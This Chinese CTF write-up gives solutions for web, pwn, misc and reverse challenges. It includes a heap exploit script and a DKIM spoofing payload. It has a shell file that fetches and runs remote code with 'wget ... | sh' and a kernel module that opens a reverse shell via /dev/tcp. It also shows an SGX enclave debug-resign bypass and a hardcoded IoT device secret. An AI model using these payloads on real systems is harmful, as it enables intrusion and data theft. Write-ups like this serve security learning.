+ "dkim_para": {"d":b"legitimate.com", "s":b"selector._domainkey.attack.com.\\x00.outlook.com", "sign_header": b"From: <admin@legitimate.com>"},
"data": {
"from_header": b"From: <admin@legitimate.com>\\r\\n",
"to_header": b"To: <victim@victim.com>\\r\\n",
其实就是在改各种邮件地址, 改成满足服务器要求的格式
之后就是一个非常简单的XSS, 只要邮件的content type是text/html就能以html的格式显示出来. 但是bot不出网, 所以只能用发邮件的方式带出来
PWN
Babyheap
rust 写的菜单堆
from pwn import *
# s = process("./babyheap")
s = remote("47.98.229.103","1337")
def cmd(c):
s.sendlineafter(">>>", str(c).encode())
def add(size, data):
cmd(1)
s.sendlineafter("size", str(size).encode())
s.sendafter("content", data)
def show(idx):
cmd(2)
s.sendlineafter("index", str(idx).encode())
def edit(idx, data):
cmd(3)
s.sendlineafter("index", str(idx).encode())
s.sendafter("content", data)
def dele(idx):
cmd(4)
s.sendlineafter("index", str(idx))
for i in range(8):
add(0x1f0,b'A'*0x1f0)
for i in range(2,8)[::-1]:
dele(i)
dele(1+0x74737572)
dele(0x74737572)
show(0)
libc = ELF("./libc-2.27.so")
libc.address = u64(s.recvuntil(b"\\x7f")[-6:]+b'\\x00\\x00')-0x3ebca0
success(hex(libc.address))
payload = p64(libc.sym['__free_hook'])
payload = payload.ljust(0x1f0,b'\\x00')
edit(1,payload)
add(0x1f0,b'/bin/sh\\x00'.ljust(0x1f0,b'\\x00')) #2
add(0x1f0,p64(libc.sym['system']).ljust(0x1f0,b'\\x00')) #3
dele(2)
# gdb.attach(s)
s.interactive()
wee I
secure_sig中bodyLen设置成550,在atoi时会变成atoi("07")+550
然后就会在body这里多读7个字节导致sig可以全部伪造。
.text:00000D34 STRD.W R7, LR, [SP,#-8]!
.text:00000D38 ADD R7, SP, #0
.text:00000D3A LDR R3, =(aChmodXTmpRceTm - 0xD40) ; "chmod +x /tmp/rce; /tmp/rce"
.text:00000D3C ADD R3, PC ; "chmod +x /tmp/rce; /tmp/rce"
.text:00000D3E MOV R0, R3
.text:00000D40 BLX system
.text:00000D44 NOP
.text:00000D46 MOV SP, R7
.text:00000D48 POP {R7,PC}
import requests
import base64
from pwn import *
REMOTE_ADDR="<http://127.0.0.1:8889>"
sig = '733a343239343936363732303a58c0fdffff2b350d22000000000000000000000000000000000000000000000000000000000000000000000000000000000000'
body = cyclic(550)
def attack():
resp = requests.post(REMOTE_ADDR + "/sign_message",data=body,headers={
'X-Signature': sig,
'Content-Type': 'application/json'
})
print(resp.content)
if __name__ == '__main__':
attack()
shellfile里面加一个\xff字节 decode报错 就不继续执行了 但是文件写进去了
file_write.py
import requests
import base64
REMOTE_ADDR="http://127.0.0.1:8889"
shellfile="""#!/bin/sh
wget -O - x.x.x.x/x/s | sh;#
"""
shellfile = shellfile+'\xff'*6
shellfile = base64.b64encode(shellfile.encode()).decode()
auth = 'rce'
# print(len(auth),len(auth.encode()))
print(shellfile)
def attack():
resp = requests.get(REMOTE_ADDR + "/sign_message",params={"message":shellfile},headers={
'Authorization': base64.b64encode(auth.encode()).decode(),
'X-Forwarded-For': '127.0.0.1'
})
print(resp.content)
if __name__ == '__main__':
# while True:
attack()
# test()
MISC
签到
懂得都懂带带弟弟
import('../flag')
wee II
qemu开了semihosting
用semihosting可以直接读文件
(原理大概就是用SVC #0x123456代替SVC #0x80,可以执行OPEN、READ之类的)
示例代码:
不过所有的例子都是在内核空间/bare metal跑的,估计是算特权指令
flag是在bl32_extra1.bin里面
lkm.c
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#define SEMIHOSTING_SYS_OPEN 0x01
#define SEMIHOSTING_SYS_CLOSE 0x02
#define SEMIHOSTING_SYS_WRITE0 0x04
#define SEMIHOSTING_SYS_WRITEC 0x03
#define SEMIHOSTING_SYS_WRITE 0x05
#define SEMIHOSTING_SYS_READ 0x06
#define SEMIHOSTING_SYS_READC 0x07
#define SEMIHOSTING_SYS_SEEK 0x0A
#define SEMIHOSTING_SYS_FLEN 0x0C
#define SEMIHOSTING_SYS_REMOVE 0x0E
#define SEMIHOSTING_SYS_SYSTEM 0x12
#define SEMIHOSTING_SYS_ERRNO 0x13
#define SEMIHOSTING_SYS_EXIT 0x18
#define uintptr_t unsigned int *
long semihosting_call(unsigned long operation,
void *system_block_address)
{
long ret;
asm volatile(
"mov r0,%1\\n"
"mov r1,%2\\n"
"svc #0x123456\\n"
"mov %0,r0\\n"
: "=r" (ret)
: "r"(operation), "r"(system_block_address): "memory"
);
return ret;
}
typedef struct
{
const char *file_name;
unsigned long mode;
size_t name_length;
} smh_file_open_block_t;
typedef struct
{
long handle;
uintptr_t buffer;
size_t length;
} smh_file_read_write_block_t;
typedef struct {
char *command_line;
size_t command_length;
} smh_system_block_t;
long semihosting_file_open(const char *file_name, size_t mode)
{
smh_file_open_block_t open_block;
open_block.file_name = file_name;
open_block.mode = mode;
open_block.name_length = strlen(file_name);
return semihosting_call(SEMIHOSTING_SYS_OPEN,
(void *)&open_block);
}
long semihosting_file_read(long file_handle, size_t *length, uintptr_t buffer)
{
smh_file_read_write_block_t read_block;
long result = -1;
if ((length == NULL) || (buffer == (uintptr_t)NULL))
return result;
read_block.handle = file_handle;
read_block.buffer = buffer;
read_block.length = *length;
result = semihosting_call(SEMIHOSTING_SYS_READ,
(void *)&read_block);
if (result == (long)*length)
{
return -1;
}
else if (result < (long)*length)
{
*length -= result;
return 0;
}
else
{
return result;
}
}
long semihosting_file_write(long file_handle,
size_t *length,
const uintptr_t buffer)
{
smh_file_read_write_block_t write_block;
long result = -1;
if ((length == NULL) || (buffer == (uintptr_t)NULL))
return -1;
write_block.handle = file_handle;
write_block.buffer = (uintptr_t)buffer; /* cast away const */
write_block.length = *length;
result = semihosting_call(SEMIHOSTING_SYS_WRITE,
(void *)&write_block);
*length = result;
return (result == 0) ? 0 : -1;
}
long semihosting_system(char *command_line)
{
smh_system_block_t system_block;
system_block.command_line = command_line;
system_block.command_length = strlen(command_line);
return semihosting_call(SEMIHOSTING_SYS_SYSTEM,
(void *) &system_block);
}
char buffer[0x200];
static int lkm_init(void)
{
printk("Arciryas:moduleloaded\\n");
semihosting_system("bash -c 'sh -i >& /dev/tcp/x.x.x.x/7777 0>&1'");
return 0;
}
static void lkm_exit(void)
{
printk("Arciryas:moduleremoved\\n");
}
module_init(lkm_init);
module_exit(lkm_exit);
MODULE_LICENSE("GPL")
LKM直接弹shell,读flag
消失的声波
minimoden直接解
获得个oss桶,根据官网规则,直接拼接url访问
https://iot2023.oss-cn-hangzhou.aliyuncs.com/OpYdCuMtkQ8Yjhm2
下载文件是个macos的程序,不逆向直接strings怎么说
关键信息拿到了,直接连就完事了
import sys
from linkkit import linkkit
import threading
import traceback
import inspect
import time
import logging
# config log
__log_format = '%(asctime)s-%(process)d-%(thread)d - %(name)s:%(module)s:%(funcName)s - %(levelname)s - %(message)s'
# logging.basicConfig(format=__log_format)
lk = linkkit.LinkKit(
host_name="cn-shanghai",
product_key="a1eAwsBKddO",
device_name="ncApIY2XV9NUIY4VpbGk",
device_secret="04845e512ead208b2437d970a154d69e")
# lk.config_mqtt(endpoint="iot-cn-6ja******.mqtt.iothub.aliyuncs.com")
lk.enable_logger(logging.DEBUG)
def on_device_dynamic_register(rc, value, userdata):
if rc == 0:
print("dynamic register device success, value:" + value)
else:
print("dynamic register device fail, message:" + value)
def on_connect(session_flag, rc, userdata):
print("on_connect:%d,rc:%d" % (session_flag, rc))
pass
def on_disconnect(rc, userdata):
print("on_disconnect:rc:%d,userdata:" % rc)
def on_topic_message(topic, payload, qos, userdata):
print("on_topic_message:" + topic + " payload:" + str(payload) + " qos:" + str(qos))
pass
def on_subscribe_topic(mid, granted_qos, userdata):
print("on_subscribe_topic mid:%d, granted_qos:%s" %
(mid, str(','.join('%s' % it for it in granted_qos))))
pass
def on_unsubscribe_topic(mid, userdata):
print("on_unsubscribe_topic mid:%d" % mid)
pass
def on_publish_topic(mid, userdata):
print("on_publish_topic mid:%d" % mid)
lk.on_device_dynamic_register = on_device_dynamic_register
lk.on_connect = on_connect
lk.on_disconnect = on_disconnect
lk.on_topic_message = on_topic_message
lk.on_subscribe_topic = on_subscribe_topic
lk.on_unsubscribe_topic = on_unsubscribe_topic
lk.on_publish_topic = on_publish_topic
lk.config_device_info("Eth|03ACDEFF0032|Eth|03ACDEFF0031")
lk.config_mqtt(port=1883, protocol="MQTTv311", transport="TCP",secure="TLS")
lk.connect_async()
lk.start_worker_loop()
while True:
try:
msg = input()
except KeyboardInterrupt:
sys.exit()
else:
if msg == "1":
lk.disconnect()
elif msg == "2":
lk.connect_async()
elif msg == "3":
rc, mid = lk.subscribe_topic(lk.to_full_topic("user/get"))
if rc == 0:
print("subscribe topic success:%r, mid:%r" % (rc, mid))
else:
print("subscribe topic fail:%d" % rc)
elif msg == "4":
rc, mid = lk.unsubscribe_topic(lk.to_full_topic("user/get"))
if rc == 0:
print("unsubscribe topic success:%r, mid:%r" % (rc, mid))
else:
print("unsubscribe topic fail:%d" % rc)
elif msg == "5":
#发送{"id":"flag"}到/user/get
rc, mid = lk.publish_topic(lk.to_full_topic("user/update"), "{\\"id\\":\\"flag\\"}")
if rc == 0:
print("publish topic success:%r, mid:%r" % (rc, mid))
else:
print("publish topic fail:%d" % rc)
elif msg == "8":
ret = lk.dump_user_topics()
print("user topics:%s", str(ret))
elif msg == "9":
lk.destruct()
print("destructed")
else:
sys.exit()
最后获得flag
sllama.sgx.easy
整个项目是用enclave的远程证明能力,从远端的KMS里拿到解密prompt.txt.enc的密钥。从Enclave_entry.cpp里看出flagaliyunctf{
就在解密后的prompt里面。和模型推理本身并无关系。加上提示里面说和密码学无关和内存漏洞无关,第三个提示的链接里有attribute是debug,因此猜测是要以debug模式运行enclave,然后从内存里拿到解密的prompt。
运行./Untrusted_App http://121.196.214.49:3000发现要模型。网上下的版本hash不对加载会出问题。找不到了干脆得想办法改代码,于是自己编译Untrusted_App
环境配置,参考了llama.enclave/Dockerfile里的命令
yum-config-manager --add-repo <https://enclave-cn-hangzhou.oss-cn-hangzhou.aliyuncs.com/repo/alinux/enclave-expr.repo> && \\
yum install -y g++ make libcurl-devel which \\
libsgx-ae-le libsgx-ae-pce libsgx-ae-qe3 libsgx-ae-qve \\
libsgx-aesm-ecdsa-plugin libsgx-aesm-launch-plugin libsgx-aesm-pce-plugin \\
libsgx-aesm-quote-ex-plugin libsgx-dcap-default-qpl libsgx-dcap-ql \\
libsgx-dcap-quote-verify libsgx-enclave-common libsgx-launch libsgx-pce-logic \\
libsgx-qe3-logic libsgx-quote-ex libsgx-ra-network libsgx-ra-uefi \\
libsgx-uae-service libsgx-urts sgx-ra-service sgx-aesm-service sgxsdk \\
libsgx-dcap-ql-devel libsgx-dcap-quote-verify-devel
yum install 显示
Errors during downloading metadata for repository 'enclave-exp':
- Curl error (7): Couldn't connect to server for <https://enclave-cn-hangzhou.oss-cn-hangzhou-internal.aliyuncs.com/repo/alinux/3/exp/x86_64/repodata/repomd.xml> [Failed to connect to enclave-cn-hangzhou.oss-cn-hangzhou-internal.aliyuncs.com port 443: Connection timed out]
Error: Failed to download metadata for repo 'enclave-exp': Librepo was interrupted by a signal
把/etc/yum.repos.d/enclave-expr.repo里的-internal
删掉即可正常yum install
按Dockerfile里的继续
run PCCS_URL=https://sgx-dcap-server.cn-hangzhou.aliyuncs.com/sgx/certification/v3/ && \\
echo "PCCS_URL=${PCCS_URL}" > /etc/sgx_default_qcnl.conf && \\
echo "USE_SECURE_CERT=TRUE" >> /etc/sgx_default_qcnl.conf
source /opt/alibaba/teesdk/intel/sgxsdk/environment
./setup_sgx_ssl.sh
开启debug Enclave.config.xml里的DisableDebug从1改成0。 Untrusted_App.cpp里的sgx_debug改成1,允许调试sgx
编译
# 用SGX_DEBUG=1表示变成debug版本
make -f Makefile.sgx SGX_DEBUG=1 Untrusted_App llama_enclave.signed.so
运行./Untrusted_App http://121.196.214.49:3000
发现
[root@iZ2ze8w0owk0o74l1jrxqiZ llama.enclave]# ./Untrusted_App <http://121.196.214.49:3000>
Wellcome to LLaMA.enclave!
terminate called after throwing an instance of 'std::runtime_error'
what(): String is not valid length ...
Aborted (core dumped)
分析代码猜测是KMS对我们运行的enclave的远程证明没验证通过。
从SimpleKMS/src/main.rs看出。KSM那边只检查了MR_ENCLAVE,即二进制的hash是否匹配,不验证enclave签名密钥,也不验证是否开启debug的状态。我们可以简单对原来的enclave.so用我们改过的Enclave.config.xml
重新签名来开启debug,同时保持MR_ENCLAVE不变
if (hex::encode(q.report_body.mr_enclave) != MR_ENCLAVE) {
return Err(AppError(anyhow::anyhow!("Enclave hash mismatch")));
}
结合Makefile.sgx里的代码,把enclave
的参数为题面里给的enclave.so,并加resign
表示在前者的基础上重新签名。
/opt/alibaba/teesdk/intel/sgxsdk/bin/x64/sgx_sign sign -resign -key Enclave_private_test.pem -enclave ../llama_enclave.signed.so -out llama_enclave.signed.so -config Enclave.config.xml
再跑./Untrusted_App http://121.196.214.49:3000
发现验证过了。但是加载模型失败
[root@iZ2ze8w0owk0o74l1jrxqiZ llama.enclave]# ./Untrusted_App <http://121.196.214.49:3000>
Wellcome to LLaMA.enclave!
[Enclave] load_model: seed = -1
[Enclave] llama_model_load: loading model from 'ggml-model-q4_0.bin' - please wait ...
[Enclave] llama_model_load: failed to mmap 'ggml-model-q4_0.bin'
[Enclave] llama_init_from_file: failed to load model
[Enclave] load_model: error: failed to load model 'ggml-model-q4_0.bin'
[Enclave] completion: error: model not loaded
Info: LLaMA.enclave successfully returned.
于是注释掉Untrusted_App.cpp里的模型加载过程,然后按上面的步骤重新编译+重新签名
// ret = load_model(global_eid, &retval, "ggml-model-q4_0.bin", -1);
// assert(ret == SGX_SUCCESS);
make -f Makefile.sgx SGX_DEBUG=1 Untrusted_App llama_enclave.signed.so
/opt/alibaba/teesdk/intel/sgxsdk/bin/x64/sgx_sign sign -resign -key Enclave_private_test.pem -enclave ../llama_enclave.signed.so -out llama_enclave.signed.so -config Enclave.config.xml
再次运行./Untrusted_App http://121.196.214.49:3000
发现成功跳过了模型加载,到了completion_with_secret_prompt()
里解密prompt。
sgx-gdb断点找出解密后的prompt,里面混有我们要的flag
参考https://blog.csdn.net/clh14281055/article/details/111838180 然后发现没有安装/opt/alibaba/teesdk/intel/sgxsdk/bin/sgx-gdb。
参考intal sgx sdk的安装文档https://download.01.org/intel-sgx/latest/dcap-latest/linux/docs/Intel_SGX_SW_Installation_Guide_for_Linux.pdf。下了一个https://download.01.org/intel-sgx/latest/linux-latest/distro/Anolis86/sgx_linux_x64_sdk_2.19.100.3.bin
安装到/opt/alibaba/teesdk/intel/
目录
[root@iZ2ze8w0owk0o74l1jrxqiZ llama.enclave]# ./sgx_linux_x64_sdk_2.19.100.3.bin
Do you want to install in current directory? [yes/no] : no
Please input the directory which you want to install in : /opt/alibaba/teesdk/intel/
Unpacking Intel SGX SDK ... done.
Verifying the integrity of the install package ... done.
Installing Intel SGX SDK ... done.
/tmp/sgx-sdk-JuEUUl ~/chall_N/参赛选手下载文件/llama.enclave
~/chall_N/参赛选手下载文件/llama.enclave
uninstall.sh script generated in /opt/alibaba/teesdk/intel/sgxsdk
Installation is successful! The SDK package can be found in /opt/alibaba/teesdk/intel/sgxsdk
Please set the environment variables with below command:
source /opt/alibaba/teesdk/intel/sgxsdk/environment
再看发现有了 /opt/alibaba/teesdk/intel/sgxsdk/bin/sgx-gdb
中间断点的时候,发现断点不了enclave里面的函数,根据上面那个CSDN博客,发现是缺一些库 从https://github.com/intel/linux-sgx/issues/533#issuecomment-619826098 这个issue里找到了缺失的库
yum install libsgx-enclave-common-debuginfo libsgx-urts-debuginfo
开sgx-gdb,下断点
/opt/alibaba/teesdk/intel/sgxsdk/bin/sgx-gdb --args ./Untrusted_App <http://121.196.214.49:3000>
我们的目标是,在Enclave_entry.cpp里的completion_with_secret_prompt()
中,执行完sgx_fread
的瞬间,从第一个参数在内存中拿出解密的prompt。
因此,先断在completion_with_secret_prompt这个函数
b completion_with_secret_prompt
r
现在我们到了completion_with_secret_prompt()
然后断sgx_fread(),并执行到sgx_fread()里面
b sgx_fread
c
用info reg
看%rdi是第一个参数的值,记住它的地址
rax 0x10000 65536
rbx 0xf 15
rcx 0x7ffc00433df0 140720312892912
rdx 0xffff 65535
rsi 0x1 1
rdi 0x7ffc00423dd0 140720312827344
rbp 0x7ffc00405f30 0x7ffc00405f30
rsp 0x7ffd821155b8 0x7ffd821155b8
r8 0x7ffc00000000 140720308486144
r9 0x0 0
r10 0x7ffc003fdf40 140720312672064
r11 0x7ffd82115330 140726785626928
r12 0x7ffc00405f30 140720312704816
r13 0x408358 4227928
r14 0x0 0
r15 0x0 0
rip 0x7ffc001fa7d0 0x7ffc001fa7d0 <sgx_fread>
eflags 0x202 [ IF ]
cs 0x33 51
ss 0x2b 43
ds 0x0 0
es 0x0 0
fs 0x0 0
gs 0x0 0
k0 0x0 0
k1 0x0 0
k2 0x0 0
k3 0x0 0
k4 0x0 0
k5 0x0 0
k6 0x0 0
k7 0x0 0
0x7ffc00423dd0
按finish
执行到sgx_fread()结束,然后看之前%rdi的内容
finish
x/s 0x7ffc00423dd0
Run till exit from #0 0x00007ffc001fa7d0 in sgx_fread ()
0x00007ffc000446a6 in completion_with_secret_prompt ()
(gdb) x/s 0x7ffc00423dd0
0x7ffc00423dd0: "aliyunctf{enclave_4ttr_is_important}\\nSpare the rod, spoil the child.\\nMore haste, less speed.\\nPractice makes perfect."
来自喵星球的问候
Konano/CatWatermark (github.com)
给了项目,水印写在图像内,原始图像下载
Desktop Wallpapers Earth planet Africa Space 11500x11500 (1zoom.me)
原图另一个链接:https://eoimages.gsfc.nasa.gov/images/imagerecords/77000/77085/marble_east_vir_2012023_lrg.jpg
(这两个图片相近)
两张图片xor后获得一个明显的猫脸变换的图片
审给的脚本,可以发现加密脚本根据他写的其实iterations并没有实际使用,实际上只运行了一次
可以注意到,对于水印来说,cat_map_rev实际上先对y进行了变换,后对x进行了变换。
我们用自己的样本试验了一下解密dx的结果,发现dx正确的时候,图片两边会有黑边
结合这个原理,初步测算,计算一张图片的dx变换所需时间约为3~5分钟。共计11500*8/10个dx,算下来在96核EPYC机器上跑,需要8~10个小时,可以接受
from numpy import np
from PIL import Image, ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True
oriImg = Image.open('ori.png').convertRGB()
image = Image.open('planet.png').convertRGB()
height, width, *_ = oriImg.shape
xored = image ^ oriImg
xored = xored.any(axis=2)
def testDx(dx):
testImg = np.zeros(oriImg.shape, dtype=np.uint8)
for x in range(height):
for y in range(width):
_x, _y = x, y
_y = (_y + dx * _x) % width
testImg[_x, _y] = xored[x, y]
leftMargin = 100
rightMargin = 100 # < 1/10 of the image
if all(not diff[:,i].any() for i in list(range(leftMargin))) and all(not diff[:,i].any() for i in list(range(width - rightMargin, rightMargin))):
print("Possible dx: %d" % dx)
if __name__ == '__main__':
import sys
args = sys.argv[1:]
dxstart = args[0]
dxend = args[1]
for i in range(dxstart, dxend):
testDx(dx)
)
可以计算出dx值为5809,此时拥有其中一个值我们无脑爆破最后一个dy就好了,体力活。
import os
import sys
import numpy as np
from PIL import Image, ImageFile
ImageFile.LOAD_TRUNCATED_IMAGES = True
def arnold_cat_map(image, key=(1, 2, 1)):
"""
Implements Arnold's cat map transformation on an image.
"""
height, width, *_ = image.shape
offset_x, offset_y, iterations = key
new_image = np.zeros(image.shape, dtype=np.uint8)
for x in range(height):
for y in range(width):
_x, _y = x, y
_y = (_y + offset_x * _x) % width
_x = (_x + offset_y * _y) % height
new_image[_x, _y] = image[x, y]
return new_image
def arnold_cat_map_rev(image, key=(1, 2, 1)):
"""
Implements Arnold's cat map transformation on an image (reverse).
"""
height, width, *_ = image.shape
offset_x, offset_y, iterations = key
new_image = np.zeros(image.shape, dtype=np.uint8)
for x in range(height):
for y in range(width):
_x, _y = x, y
_x = (_x - offset_y * _y) % height
_y = (_y - offset_x * _x) % width
new_image[_x, _y] = image[x, y]
return new_image
def extract_watermark(original_image_path, watermarked_image_path, output_image_path, private_key):
"""
Extracts a text watermark from a watermarked image using the Arnold's cat map transformation.
"""
# Open the original image
original_image = np.array(Image.open(original_image_path).convert("RGB"))
# Open the watermarked image
watermarked_image = np.array(Image.open(watermarked_image_path).convert("RGB"))
assert watermarked_image.shape == original_image.shape
# Extract the watermark from the watermarked image
original_image ^= watermarked_image
transformed_image = arnold_cat_map(original_image, private_key)
transformed_image[transformed_image > 0] = 255
transformed_image = 255 - transformed_image
# Save the extracted watermark
Image.fromarray(np.uint8(transformed_image)).save(output_image_path)
def try_arnold_dy(original_image_path, watermarked_image_path, output_image_path, arnold_dx, arnold_rd):
original_image = np.array(Image.open(original_image_path).convert("RGB"))
watermarked_image = np.array(Image.open(watermarked_image_path).convert("RGB"))
height, width, *_ = original_image.shape
for arnold_dy in range(2800, 3000):
private_key = (arnold_dx, arnold_dy, arnold_rd)
extracted_watermark = arnold_cat_map(original_image ^ watermarked_image, private_key)
extracted_watermark[extracted_watermark > 0] = 255
extracted_watermark = 255 - extracted_watermark
# 将尝试的结果保存为文件,文件名包含尝试的 arnold_dy 值
output_filename = f"{output_image_path}_arnold_dy_{arnold_dy}.png"
Image.fromarray(np.uint8(extracted_watermark)).save(output_filename)
print(f"Saved {output_filename} with arnold_dy = {arnold_dy}")
# 输入参数检查
if len(sys.argv) != 4:
print("Usage: brute_force_arnold_dy.py original_image watermarked_image output_image")
sys.exit(1)
original_image_path = sys.argv[1]
watermarked_image_path = sys.argv[2]
output_image_path = sys.argv[3]
arnold_dx = 5809
arnold_rd = 1
try_arnold_dy(original_image_path, watermarked_image_path, output_image_path, arnold_dx, arnold_rd)
最后找到最终值 5809 2901 1为最终flag
flag图
OOBdetection
转成lark语法
start: def_list arr_list
def_list: (var_def ";")+
arr_list: (array_expr ";")+
var_def: "int" CNAME ("[" expr "]")+ -> arr_def
| "int" CNAME ["=" NUMBER] -> var_def
array_unit: CNAME "[" expr "]" ("[" expr "]")*
array_expr: CNAME "=" expr -> var_assign_exp
| array_unit "=" expr -> arr_assign_exp
expr: expr OP expr -> op_expr
| array_unit -> arr_expr
| CNAME -> var_expr
| NUMBER -> num_expr
OP: "/" | "*" | "+" | "-"
%import common.CNAME
%import common.NUMBER
%import common.WS
%ignore WS
# -*- coding: utf-8 -*-
from pwn import *
import hashlib
import string
import itertools
from tqdm import tqdm
from lark_parse import check
# 开启日志
context.log_level = 'debug'
sh = remote("47.98.209.191", 1337)
def crack():
temp = sh.recvuntil(b"sha256(XXX +")
temp = sh.recvline()
target_hash = temp.split(b" == ")[1].strip()
suffix = temp[1:15]
print(temp, target_hash, suffix)
target_hash = target_hash.decode('utf-8')
suffix = suffix.decode('utf-8')
charset = "0123456789abcdef"
total_combinations = len(charset) ** 6
for combination in tqdm(itertools.product(charset, repeat=6), desc="Cracking progress", total=total_combinations):
prefix = ''.join(combination)
test_string = prefix + suffix
test_string_bytes = bytes.fromhex(test_string)
test_hash = hashlib.sha256(test_string_bytes).hexdigest()
if test_hash == target_hash:
print("XXX = " + prefix)
return prefix
passwd = crack()
assert passwd is not None
sh.sendline(passwd.encode())
sh.recvuntil(b"Good luck!")
while True:
prog = sh.recvuntil(b"Your answer (safe/oob/unknown):")
prog = prog.decode().strip()
prog = prog.removesuffix("Your answer (safe/oob/unknown):")
print("-----------")
print(prog)
print("-------------")
sh.sendline(check(prog).encode())
print(sh.recvline().strip())
assert sh.recvline().strip() == b"Right!"
from traceback import print_exc, print_exception
from typing import Any, Dict, Literal, cast, List, Tuple
from lark import Lark, Token, Tree
class OOBException(Exception):
pass
class GrammarError(Exception):
pass
class Variable:
value: Literal["UNKNOWN"] | int = "UNKNOWN"
def __init__(self, value: Literal["UNKNOWN"] | int = "UNKNOWN"):
self.value = value
def __str__(self) -> str:
return "Variable(value=" + str(self.value) + ")"
def __repr__(self) -> str:
return self.__str__()
def __add__(self, other: "Variable"):
if self.value == "UNKNOWN" or other.value == "UNKNOWN":
return Variable()
return Variable(self.value + other.value)
def __sub__(self, other: "Variable"):
if self.value == "UNKNOWN" or other.value == "UNKNOWN":
return Variable()
return Variable(self.value - other.value)
def __mul__(self, other: "Variable"):
if self.value == "UNKNOWN" or other.value == "UNKNOWN":
return Variable()
return Variable(self.value * other.value)
def __truediv__(self, other: "Variable"):
if self.value == "UNKNOWN" or other.value == "UNKNOWN":
return Variable()
return Variable(round(self.value / other.value))
def __eq__(self, __value: "Variable") -> bool:
return self.value == __value.value
def __hash__(self) -> int:
return hash(self.value)
class ArrayVariable:
dims: List[Variable]
value: Dict[Tuple[Variable, ...], Variable]
def __init__(self, dims: List[Variable]):
self.dims = dims
self.value = {}
def __str__(self) -> str:
return f"ArrayVariable(dims={self.dims}, value={self.value})"
def __repr__(self) -> str:
return self.__str__()
def __check_key__(self, key: List[Variable]) -> None:
if len(key) != len(self.dims):
raise GrammarError("Invalid array access")
for i, dim_i in zip(key, self.dims):
if i.value == "UNKNOWN":
raise OOBException(
f"Array index unknown oob, Array: {self}, Index: {key}")
elif dim_i.value == "UNKNOWN":
raise OOBException(
f"Array dim unknown oob, Array: {self}, Index: {key}")
elif i.value >= dim_i.value or i.value < 0:
raise OOBException(
f"Array index oob, Array: {self}, Index: {key}")
def __getitem__(self, key: List[Variable]) -> Variable:
self.__check_key__(key)
return self.value.get(tuple(key), Variable())
def __setitem__(self, key: List[Variable], value: Variable) -> None:
self.__check_key__(key)
self.value[tuple(key)] = value
with open("lang.lark") as f:
parser = Lark(f.read())
def op(op: str, v1: Variable, v2: Variable):
if op == "+":
return v1 + v2
elif op == "-":
return v1 - v2
elif op == "*":
return v1 * v2
elif op == "/":
return v1 / v2
else:
raise ValueError("Invalid operator")
class Program:
vars: Dict[str, Variable] = {}
array_vars: Dict[str, ArrayVariable] = {}
def __init__(self, text: str) -> None:
root = parser.parse(text)
def_list = cast(Tree[Token], root.children[0])
for def_ in def_list.children:
def_ = cast(Tree[Token], def_)
name = cast(Token, def_.children[0]).value
if def_.data == "var_def":
var = Variable()
self.vars[name] = var
if def_.children[1]:
var.value = int(cast(Token, def_.children[1]).value)
else:
dims = [self.parse_expr(cast(Tree[Token], i))
for i in def_.children[1:]]
self.array_vars[name] = ArrayVariable(dims)
self.program = cast(Tree[Token], root.children[1])
def parse_expr(self, expr: Tree[Token]) -> Variable:
if expr.data == "num_expr":
return Variable(int(cast(Token, expr.children[0]).value))
elif expr.data == "op_expr":
return op(
cast(Token, expr.children[1]).value,
self.parse_expr(cast(Tree[Token], expr.children[0])),
self.parse_expr(cast(Tree[Token], expr.children[2]))
)
elif expr.data == "var_expr":
return self.vars[cast(Token, expr.children[0]).value]
elif expr.data == "arr_expr":
expr = cast(Tree[Token], expr.children[0])
name = cast(Token, expr.children[0]).value
key = [self.parse_expr(cast(Tree[Token], i))
for i in expr.children[1:]]
return self.array_vars[name][key]
else:
raise ValueError("Invalid expression " + str(expr))
def run(self):
for expr in self.program.children:
expr = cast(Tree[Token], expr)
if expr.data == "var_assign_exp":
name = cast(Token, expr.children[0]).value
var = self.parse_expr(cast(Tree[Token], expr.children[1]))
self.vars[name] = var
else:
arr = cast(Tree[Token], expr.children[0])
name = cast(Token, arr.children[0]).value
key = [self.parse_expr(cast(Tree[Token], i))
for i in arr.children[1:]]
var = self.parse_expr(cast(Tree[Token], expr.children[1]))
self.array_vars[name][key] = var
def check(prog: str):
try:
p = Program(prog)
p.run()
return "safe"
except OOBException:
return "oob"
except Exception as e:
print_exception(e)
return "unknown"
test = """
int n = 964;
int a[n];
int b[n];
a[ 732 ] = 530;
b[a[ 732 ]] = 229;
"""
if __name__ == "__main__":
prog = Program(test)
prog.run()
REVERSE
乐索软件
核心加密逻辑的入口是这个
let header = cipher::encrypt_stream(key, &mut fin, &mut fout)?;
let victim_key = Arc::new(key_mgmt::ensure_key()?);
用到了这些库:dryoc、cipher
1400318B0是key生成
14002AFE0是这个:https://github.com/brndnmtthws/dryoc/blob/main/src/kdf.rs#L133
140021D40是crypto_generichash_blake2b
140016EF0 是crypto_kdf_derive_from_key
逆向密钥生成
140032DF0是cipher::encrypt_stream
key_mgmt::ensure_key看起来是读了MachineGuid,然后CryptProtectData,然后存到了
HKEY_CURRENT_USER\Control Panel\Desktop\WallpaperImageCache里面,
原始密钥 MachineGuid + 32 byte的随机串
(misty)怎么生成的不用管,重点是需要逆向1400318B0,WallpaperImageCache的内容需要走这个函数derive
key : random32
mac: machine guid
nonce: kdf
重点逆了一下derive那片,后面结合调一下就行了
尝试还原key derive流程
use dryoc::classic::crypto_box::{crypto_box_beforenm, crypto_box_easy, crypto_box_keypair, crypto_box_seal_open, crypto_box_seed_keypair, Nonce, PublicKey, SecretKey};
use dryoc::classic::crypto_generichash::{crypto_generichash, crypto_generichash_final, crypto_generichash_init, crypto_generichash_update};
use dryoc::constants::CRYPTO_BOX_NONCEBYTES;
use dryoc::kdf::StackKdf;
use dryoc::types::{NewByteArray, StackByteArray};
use dryoc::keypair::KeyPair;
const RPK:SecretKey = [0xA2u8, 0x71, 0x17, 0xAF, 0xB3, 0xE4, 0x5F, 0xB0, 0x21, 0xF3,
0x05, 0xE8, 0x90, 0x71, 0xA6, 0x0E, 0x93, 0x31, 0xB6, 0x3A,
0xDE, 0xB1, 0xB0, 0x57, 0x32, 0xDD, 0x07, 0x4E, 0xE1, 0x44,
0x66, 0x62];
fn crypto_box_seal_nonce(nonce: &mut Nonce, epk: &PublicKey, rpk: &SecretKey) {
let mut state = crypto_generichash_init(None, CRYPTO_BOX_NONCEBYTES).expect("state");
crypto_generichash_update(&mut state, epk);
crypto_generichash_update(&mut state, rpk);
crypto_generichash_final(state, nonce).expect("hash error");
}
